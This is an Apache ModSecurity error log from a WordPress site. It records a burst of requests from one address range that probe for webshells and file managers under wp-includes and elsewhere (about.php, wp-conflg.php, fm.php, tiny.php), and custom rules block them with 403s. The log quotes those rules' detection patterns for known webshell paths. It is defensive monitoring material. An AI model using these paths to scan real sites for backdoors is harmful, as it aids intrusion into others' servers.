[Sun Apr 19 02:32:17.175106 2026] [:error] [pid 32252:tid 32258] [client 45.137.126.65:21421] [client 45.137.126.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aePOMeXl4Yc-Lt5fJ9ipjwAAAQQ"]
[Sun Apr 19 02:32:18.210939 2026] [:error] [pid 32252:tid 32259] [client 45.137.126.86:44027] [client 45.137.126.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aePOMuXl4Yc-Lt5fJ9ipkAAAAQU"]
[Sun Apr 19 02:32:22.714799 2026] [:error] [pid 60910:tid 60913] [client 45.137.126.55:61763] [client 45.137.126.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aePONnFWunkyacYqsD1I7QAAAUE"]
[Sun Apr 19 02:32:24.941438 2026] [:error] [pid 60910:tid 60916] [client 45.137.126.61:23855] [client 45.137.126.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/index.php"] [unique_id "aePOOHFWunkyacYqsD1I9AAAAUQ"]
[Sun Apr 19 02:32:29.715136 2026] [:error] [pid 33517:tid 33529] [client 45.137.126.63:44507] [client 45.137.126.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aePOPX4Zz-rubR1wiZ-4zwAAAMo"]
[Sun Apr 19 02:32:34.573729 2026] [:error] [pid 60910:tid 60922] [client 45.137.126.63:42183] [client 45.137.126.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/about.php"] [unique_id "aePOQnFWunkyacYqsD1JDQAAAUo"]
[Sun Apr 19 02:32:40.862782 2026] [:error] [pid 60910:tid 60936] [client 45.137.126.83:28899] [client 45.137.126.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aePOSHFWunkyacYqsD1JIQAAAVg"]
[Sun Apr 19 02:32:48.691184 2026] [:error] [pid 60910:tid 60921] [client 45.137.126.76:21585] [client 45.137.126.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/about.php"] [unique_id "aePOUHFWunkyacYqsD1JOAAAAUk"]
[Sun Apr 19 02:32:54.609317 2026] [:error] [pid 41277:tid 41297] [client 45.137.126.83:23517] [client 45.137.126.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-class.php"] [unique_id "aePOVkH3ayszMLZYflsDFwAAAZI"]
[Sun Apr 19 02:33:20.485067 2026] [:error] [pid 32167:tid 32232] [client 45.137.126.95:35021] [client 45.137.126.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aePOcEyD4Jm27Mb3NJiR3QAAAIc"]
[Sun Apr 19 02:33:21.502469 2026] [:error] [pid 60910:tid 60929] [client 45.137.126.82:62883] [client 45.137.126.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aePOcXFWunkyacYqsD1JbQAAAVE"]
[Sun Apr 19 02:33:24.742776 2026] [:error] [pid 32166:tid 32214] [client 45.137.126.59:38379] [client 45.137.126.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aePOdJCHNkWwdiZnafLVkgAAAFA"]
[Sun Apr 19 02:33:29.536465 2026] [:error] [pid 32165:tid 32181] [client 45.137.126.56:61937] [client 45.137.126.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aePOeae2vKwEk_N0Brb-JQAAAAw"]
[Sun Apr 19 02:33:30.553455 2026] [:error] [pid 32167:tid 32235] [client 45.137.126.75:65151] [client 45.137.126.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aePOekyD4Jm27Mb3NJiR9QAAAIo"]
[Sun Apr 19 02:33:38.166695 2026] [:error] [pid 32166:tid 32200] [client 45.137.126.100:30671] [client 45.137.126.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aePOgpCHNkWwdiZnafLVngAAAEI"]
[Sun Apr 19 02:33:39.187718 2026] [:error] [pid 32252:tid 32277] [client 45.137.126.105:44209] [client 45.137.126.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "aePOg-Xl4Yc-Lt5fJ9ipywAAARc"]
[Sun Apr 19 02:33:48.518322 2026] [:error] [pid 32166:tid 32213] [client 45.137.126.92:57113] [client 45.137.126.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aePOjJCHNkWwdiZnafLVqQAAAE8"]
[Sun Apr 19 02:33:51.781847 2026] [proxy_fcgi:error] [pid 60910:tid 60918] [client 45.137.126.99:30869] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 02:33:53.866470 2026] [:error] [pid 60910:tid 60936] [client 45.137.126.99:30869] [client 45.137.126.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/function.php"] [unique_id "aePOkXFWunkyacYqsD1JrQAAAVg"]
[Sun Apr 19 02:33:54.889213 2026] [:error] [pid 32167:tid 32230] [client 45.137.126.102:31221] [client 45.137.126.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/plugins.php"] [unique_id "aePOkkyD4Jm27Mb3NJiSLgAAAIU"]
[Sun Apr 19 02:33:59.686100 2026] [:error] [pid 32167:tid 32247] [client 45.137.126.91:42823] [client 45.137.126.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/chosen.php"] [unique_id "aePOl0yD4Jm27Mb3NJiSQAAAAJY"]
[Sun Apr 19 02:34:00.714412 2026] [:error] [pid 33517:tid 33542] [client 45.137.126.103:62705] [client 45.137.126.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aePOmH4Zz-rubR1wiZ-5NAAAANc"]
[Sun Apr 19 02:34:13.590626 2026] [:error] [pid 32167:tid 32226] [client 45.137.126.91:31893] [client 45.137.126.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/atomlib.php"] [unique_id "aePOpUyD4Jm27Mb3NJiSdwAAAIE"]
[Sun Apr 19 02:34:14.627630 2026] [:error] [pid 60910:tid 60936] [client 45.137.126.66:32817] [client 45.137.126.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aePOpnFWunkyacYqsD1JvQAAAVg"]
[Sun Apr 19 02:34:22.582419 2026] [:error] [pid 60910:tid 60913] [client 45.137.126.101:38945] [client 45.137.126.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/index.php"] [unique_id "aePOrnFWunkyacYqsD1JywAAAUE"]
[Sun Apr 19 02:34:23.612586 2026] [:error] [pid 32167:tid 32225] [client 45.137.126.105:55269] [client 45.137.126.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aePOr0yD4Jm27Mb3NJiSiwAAAIA"]
[Sun Apr 19 02:34:24.651468 2026] [:error] [pid 32167:tid 32237] [client 45.137.126.96:49121] [client 45.137.126.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aePOsEyD4Jm27Mb3NJiSjwAAAIw"]
[Sun Apr 19 02:34:34.046274 2026] [:error] [pid 41277:tid 41301] [client 45.137.126.92:29365] [client 45.137.126.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aePOukH3ayszMLZYflsDeQAAAZY"]
[Sun Apr 19 02:34:37.283560 2026] [:error] [pid 32166:tid 32222] [client 45.137.126.56:56027] [client 45.137.126.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aePOvZCHNkWwdiZnafLV0gAAAFg"]
[Sun Apr 19 02:34:48.083767 2026] [:error] [pid 33517:tid 33525] [client 45.137.126.63:24303] [client 45.137.126.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.63, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/js/wp-login.php"] [unique_id "aePOyH4Zz-rubR1wiZ-5YQAAAMY"]
[Sun Apr 19 02:34:57.184578 2026] [:error] [pid 33517:tid 33536] [client 45.137.126.63:24303] [client 45.137.126.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.63, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aePO0X4Zz-rubR1wiZ-5bQAAANE"]
[Sun Apr 19 02:35:13.283520 2026] [proxy_fcgi:error] [pid 33517:tid 33538] [client 45.137.126.63:24303] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 02:35:34.390448 2026] [:error] [pid 33517:tid 33533] [client 45.137.126.63:24303] [client 45.137.126.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/about.php"] [unique_id "aePO9n4Zz-rubR1wiZ-5pwAAAM4"]
[Sun Apr 19 02:35:40.694487 2026] [:error] [pid 32167:tid 32237] [client 45.137.126.90:34557] [client 45.137.126.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aePO_EyD4Jm27Mb3NJiTFQAAAIw"]
[Sun Apr 19 02:35:45.495677 2026] [:error] [pid 60910:tid 60929] [client 45.137.126.98:42905] [client 45.137.126.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aePPAXFWunkyacYqsD1KIAAAAVE"]
[Sun Apr 19 02:36:00.862319 2026] [:error] [pid 32167:tid 32243] [client 45.137.126.87:38317] [client 45.137.126.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aePPEEyD4Jm27Mb3NJiTPgAAAJI"]
[Sun Apr 19 02:36:05.702174 2026] [:error] [pid 33517:tid 33522] [client 45.137.126.79:35763] [client 45.137.126.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aePPFX4Zz-rubR1wiZ-50gAAAMM"]
[Sun Apr 19 02:36:08.935978 2026] [:error] [pid 32166:tid 32209] [client 45.137.126.98:20189] [client 45.137.126.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aePPGJCHNkWwdiZnafLWFQAAAEs"]
[Sun Apr 19 02:36:17.019089 2026] [proxy_fcgi:error] [pid 32252:tid 32266] [client 45.137.126.65:21577] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 02:36:17.530283 2026] [proxy_fcgi:error] [pid 32252:tid 32265] [client 45.137.126.65:21577] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 02:36:18.041290 2026] [:error] [pid 32252:tid 32267] [client 45.137.126.65:21577] [client 45.137.126.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aePPIuXl4Yc-Lt5fJ9iqYAAAAQ0"]
[Sun Apr 19 02:36:20.618472 2026] [:error] [pid 32252:tid 32261] [client 45.137.126.72:63917] [client 45.137.126.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aePPJOXl4Yc-Lt5fJ9iqZgAAAQc"]
[Sun Apr 19 02:36:32.506688 2026] [:error] [pid 33517:tid 33534] [client 45.137.126.73:20837] [client 45.137.126.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aePPMH4Zz-rubR1wiZ-58gAAAM8"]
[Sun Apr 19 02:36:35.764160 2026] [:error] [pid 33517:tid 33538] [client 45.137.126.89:30949] [client 45.137.126.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tiny.php"] [unique_id "aePPM34Zz-rubR1wiZ-5-gAAANM"]
[Sun Apr 19 02:36:42.024643 2026] [:error] [pid 32167:tid 32226] [client 45.137.126.95:30567] [client 45.137.126.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aePPOkyD4Jm27Mb3NJiTZAAAAIE"]
[Sun Apr 19 02:36:54.300303 2026] [:error] [pid 32167:tid 32226] [client 45.137.126.82:51661] [client 45.137.126.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aePPRkyD4Jm27Mb3NJiThQAAAIE"]
[Sun Apr 19 02:36:55.335474 2026] [proxy_fcgi:error] [pid 41277:tid 41288] [client 45.137.126.72:38019] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 02:36:59.576380 2026] [:error] [pid 41277:tid 41288] [client 45.137.126.72:38019] [client 45.137.126.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aePPS0H3ayszMLZYflsEFAAAAYk"]
[Sun Apr 19 02:37:08.663183 2026] [proxy_fcgi:error] [pid 32165:tid 32178] [client 45.137.126.102:47091] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 02:37:10.694946 2026] [:error] [pid 32165:tid 32179] [client 45.137.126.102:47091] [client 45.137.126.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.102, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aePPVqe2vKwEk_N0Brb-8gAAAAo"]
[Sun Apr 19 02:37:18.175389 2026] [:error] [pid 32165:tid 32189] [client 45.137.126.102:47091] [client 45.137.126.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aePPXqe2vKwEk_N0Brb-_wAAABQ"]
[Sun Apr 19 02:37:21.384266 2026] [:error] [pid 41277:tid 41290] [client 45.137.126.99:50319] [client 45.137.126.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aePPYUH3ayszMLZYflsEQgAAAYs"]
[Sun Apr 19 02:37:28.183318 2026] [:error] [pid 32167:tid 32231] [client 45.137.126.96:43213] [client 45.137.126.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aePPaEyD4Jm27Mb3NJiT1gAAAIY"]
[Sun Apr 19 02:37:34.242074 2026] [:error] [pid 32167:tid 32229] [client 45.137.126.61:31837] [client 45.137.126.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aePPbkyD4Jm27Mb3NJiT8gAAAIQ"]
[Sun Apr 19 02:37:35.267723 2026] [:error] [pid 60910:tid 60933] [client 45.137.126.96:39893] [client 45.137.126.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aePPb3FWunkyacYqsD1KlgAAAVU"]
